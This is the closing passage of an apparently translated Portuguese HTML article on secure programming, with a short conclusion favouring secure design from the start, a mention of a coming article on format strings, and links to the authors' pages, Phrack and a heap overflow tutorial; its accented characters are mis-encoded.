de uma forma mais segura. Mesmo que a t�cnica de explora��o requeira um bom
conhecimento do mecanismo, o princ�pio geral est� acess�vel. Por outro
lado, implementa��es tendo em conta mecanismos de protec��o n�o s�o assim
t�o dif�ceis. N�o se esque�a que � mais r�pido fazer um programa seguro
desde na sua fase de desenho do que posteriormente corrigir os bugs.
Confirmaremos este princ�pio no nosso pr�ximo artigo acerca de <EM>
formata��o de strings</EM>.

<H2>Links</H2>


<UL>
<LI>P�gina de Christophe Blaess : <A href=
"http://perso.club-internet.fr/ccb/">perso.club-internet.fr/ccb/</A></LI>

<LI>P�gina de Christophe Grenier : <A href=
"http://www.esiea.fr/public_html/Christophe.GRENIER/">www.esiea.fr/public_html/Christophe.GRENIER/</A></LI>

<LI>P�gina de Fr&eacute;d&eacute;ric Raynal : <A href=
"http://www-rocq.inria.fr/~raynal/">www-rocq.inria.fr/~raynal/</A></LI>

<LI>Phrack Magazine : <A href=
"http://phrack.infonexus.com/">phrack.infonexus.com/</A>.</LI>

<LI>Heap overflow : <A href=
"http://www.w00w00.org/files/articles/heaptut.txt">www.w00w00.org/files/articles/heaptut.txt</A></LI>
</UL>
</BODY>
</HTML>